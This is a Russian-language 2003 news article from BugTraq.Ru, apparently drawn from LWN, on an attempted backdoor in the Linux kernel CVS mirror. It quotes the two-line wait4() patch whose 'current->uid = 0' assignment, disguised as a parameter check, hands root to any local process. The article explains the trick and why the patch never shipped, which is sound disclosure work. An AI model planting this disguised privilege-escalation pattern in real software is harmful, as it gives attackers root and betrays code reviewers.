BugTraq.Ru
Русский BugTraq
http://www.bugtraq.ru/rsn/archive/2003/11/34.html

Еще один неудавшийся бэкдор в ядре Linux
Ktirf // 23.11.03 23:35
Преамбула: для поддержки разработки ядра Linux используется не CVS, а BitKeeper.
[Не забывайте при копировании материала указывать полный адрес источника: http://www.bugtraq.ru/rsn/archive/2003/11/34.html]
Соответственно, львиная доля публикуемых ядер (и все ядра, публикуемые на kernel.org) берутся из BitKeeper. Для тех, кто по разным причинам не хочет или не может пользоваться BitKeeper, группа добровольцев поддерживает CVS-зеркало. Изменения в ядре никогда не вносятся напрямую в CVS, только через BitKeeper.
Собственно новость состоит в том, что 6 ноября уже во второй раз (первый был обнаружен 5 ноября, и о нем уже сообщалось) была предпринята попытка внести "небольшое изменение" в CVS-зеркало ядра. Изменение состояло в добавлении двух строк в системный вызов wait4():
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
  retval = -EINVAL;

Выглядит как проверка входных параметров, но если посмотреть на выражение current->uid = 0, то становится ясно, что локальный процесс, вызывающий wait4() с указанным значением options, получает права суперпользователя - классический бэкдор.
К счастью, в силу сказанного в преамбуле, ни в одно из публикуемых ядер это изменение попасть шансов не имело. BitKeeper же является довольно параноидальной системой - в частности, любое вносимое изменение ядра должно получить подтверждение Линуса или его ближайших помощников. Правда, на данный момент в BitKeeper не встроен механизм ЭЦП, поэтому теоретическая возможность протащить патч, выдав себя за источник, которому Линус или любой утверждающий доверяют, пока остается.

Источник: LWN    
теги: linux  |  обсудить  |  все отзывы (1) [5915]
назад «  » вперед

аналогичные материалы
Исследователи Anthropic продемонстрировали удалённый взлом Linux-сервера через критическую ошибку ядра // 31.10.26 12:06
35 лет первому сообщению о Linux // 25.08.26 23:57
Торвальдс и вайбтестеры // 20.05.26 16:20
Девятилетняя эскалация привилегий в ядре Linux // 30.04.26 20:37
Оптимизация ввода-вывода как инструмент обхода антивирусов // 30.04.25 23:29
Ядро Linux избавляется от российских мейнтейнеров // 23.10.24 23:10
Линуксовый ботнет, распространяющийся с помощью краденых ssh-ключей // 19.06.22 00:37
 
последние новости
Chainalysis раскрыла взлом собственных систем // 01.11.26 18:35
SMS of Death для Android // 01.11.26 18:30
Исследователи Anthropic продемонстрировали удалённый взлом Linux-сервера через критическую ошибку ядра // 31.10.26 12:06
В магазине расширений Cursor 11 часов висел поддельный Claude Code с SSH-бэкдором // 31.10.26 11:45
Уязвимости обнаружены в пяти популярных ИИ-инструментах для разработки // 30.10.26 14:19
Binance связала кражу $6.3 млрд с взломанным ноутбуком DevOps-инженера // 30.10.26 14:14
Хакеры начали эксплуатировать критическую уязвимость Brotli // 29.10.26 20:20

Комментарии:

Класс! 25.11.03 19:28  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Вот что называется не защищённая информация... Очень даже интересно uid=0 :)
<добавить комментарий>





  Copyright © 2001-2026 Dmitry Leonov Design: Vadim Derkach